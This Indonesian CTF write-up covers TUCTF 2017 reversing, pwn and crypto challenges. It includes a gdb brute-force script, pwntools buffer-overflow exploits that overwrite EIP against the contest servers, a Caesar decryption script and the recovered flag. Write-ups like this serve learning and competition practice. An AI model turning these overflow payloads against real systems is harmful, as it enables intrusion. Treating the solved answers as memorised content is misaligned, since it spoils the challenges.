TUCTF 2017 - Writeup
Reversing 200 (Unknown)
Diberikan file ELF 64 bit stripped.
Berikut hasil disassembly fungsi main
signed __int64 __fastcall main(int a1, char **a2, char **a3)
{
signed __int64 result; // rax@2
unsigned int i; // [sp+14h] [bp-Ch]@5
char *v5; // [sp+18h] [bp-8h]@5
if ( a1 == 2 )
{
if ( strlen(a2[1]) == 56 )
{
v5 = a2[1];
for ( i = 0; i < 0x38; ++i )
{
if ( (unsigned int)sub_401E90((__int64)v5, i) )
dword_603084 = 1;
}
if ( dword_603084 )
puts("Nope.");
else
printf("Congraz the flag is: %s\n", v5, a2);
result = 0LL;
}
else
{
puts("Still nope.");
result = 4294967294LL;
}
}
else
{
puts("Try again.");
result = 0xFFFFFFFFLL;
}
return result;
}
Dari Pseudo-C diatas diketahui program membutuhkan args
dan panjang nya 56 bytes
.
fungsi sub_401E90
akan memproses inputan, dan inputan di proses byte per byte hingga 56, dan dword_603084
adalah global variable yang di set ke nilai True
.
for ( i = 0; i < 0x38; ++i )
{
if ( (unsigned int)sub_401E90((__int64)v5, i) )
dword_603084 = 1;
}
saat mencoba membaca hasil Pseodo-C fungsi sub_401E90
, saya sama sekali tidak mengerti proses apaan itu *ribet :v karena banyak fungsi-fungsi lain yang dipanggil lagi.
Percobaan debug menggunakan gdb
, yang dimana nilai hasil proses fungsi sub_401E90
, eax
akan bernilai 0x0
apabila byte inputan benar, dan akan bernilai 0x1
apabila byte inputan salah.
Snippet decompile
0x401c7d: call 0x401e90
0x401c82: test eax,eax
0x401c84: je 0x401c90
gdb-peda$ b *0x0000000000401c82
Breakpoint 1 at 0x401c82
gdb-peda$ r TUCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ p/x $rax
$3 = 0x0
gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ p/x $rax
$3 = 0x1
Karena inputan di proses, byte-per-byte, saya mencoba input dengan prefix “TUCTF{” sehingga nilai eax
akan bernilai 0x0
dalam 6 kali iterasi, dan selanjutkan eax
akan bernilai 0x1
karena "A"*50
bukan byte-byte yang benar. Dari sini kita bisa melakukan Brute Force setiap kemungkinan byte yang benar.
Berikut script yang saya gunakan untuk melakukan brute force
import gdb
import string
from time import sleep
char_set = string.ascii_letters + string.digits + "!_}"
flag = "TUCTF{"
gdb.execute("b *0x0000000000401c82")
while True:
for c in char_set:
pattern = flag + c + "A" * (55-len(flag))
gdb.execute("r {}".format(pattern))
for i in range(len(flag)):
gdb.execute("c")
rax = gdb.execute("p/x $rax",True,True).split()[-1]
if rax == "0x0":
flag += c
if "}" in flag:
print("Flag : %s" % (flag))
exit(0)
print("Curret Flag : %s" % (flag))
sleep(1)
break
print("Pattern : %s" % (pattern))
print("Nilai Rax : %s" % (rax))
$ gdb -x unk.py -q unknown --nh --batch
Setelah menunggu beberapa lama, akan mendapatkan Flag
Flag : TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}
Pwn 50 (Vuln-chat)
Classic Buffer Overflow yang dimana meng overwrite Local Variable dengan “%s” agar pada bagian form “Enter your username” tidak dibatasi dan bisa meoverwrite EIP
dan arahkan ke fungsi printFlag
.
Berikut script yang saya gunakan.
from pwn import *
vuln = remote("vulnchat.tuctf.com",4141)
payload = "A" * 20 + p32(0x00007325) # overwrite with "%s"
vuln.sendlineafter("Enter your username: ",payload)
payload2 = "A" * 49 + p32(0x804856b)
vuln.sendlineafter(": ",payload2)
print vuln.recvall()
Pwn 100 (Vuln-chat2.0)
Classic Buffer Overflow yang dimana mengoverwrite nilai EIP
, tetapi kita hanya membutuhkan 1 byte address dari fungsi printFlag
from pwn import *
flag = "\x72"
vuln2 = remote("vulnchat2.tuctf.com", 4242)
vuln2.sendlineafter("Enter your username: ","AAAA")
vuln2.recvuntil("AAAA: ")
payload = "A" * 43 + flag
vuln2.send(payload)
print vuln2.recv(1024)
Crypto 50 (The Never Ending Crypto)
Crypto 50 sebenar nya hanya Caesar Cipher
Berikut script yang saya gunakan untuk melakukan decrypt
from pwn import *
import string
never = remote("neverending.tuctf.com",12345)
char_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~\s"
def round1(char="A"):
never.sendlineafter("text:",char)
enc_base = never.recvline().split("is ")[1]
enc_msg = never.recvline().split("is ")[1]
enc_msg = enc_msg.split(" decrypted?\n")[0]
log.info("ENC BASE : -> {}".format(enc_base))
log.info("ENC MSG : -> {}".format(enc_msg))
cal = ord(char) - ord(enc_base[0])
dec = "".join([chr(ord(b) + cal) for b in enc_msg])
non_printable = [ chr(ord(z)) for z in dec if z not in char_set]
printable = "".join([ chr(ord(z)+95) for z in non_printable if z not in char_set])
for i in range(len(printable)):
dec = dec.replace(non_printable[i],printable[i])
non_printable2 = [ chr(ord(z)) for z in dec if z not in char_set]
printable2 = "".join([ chr(ord(z)-190) for z in non_printable2 if z not in char_set])
for i in range(len(printable2)):
dec = dec.replace(non_printable2[i],printable2[i])
log.info("Decrypted -> {}".format(repr(dec)))
never.sendlineafter(":",dec)
for i in range(100):
try:
log.info("Round {0}".format(i))
round1()
if never.recvline().split()[0] == "Correct!":
log.info("-> BENAR")
continue
log.info("-> SALAH")
except:
print never.recv()
never.close()
break
Pada Round 50 akan mendatkan Flag.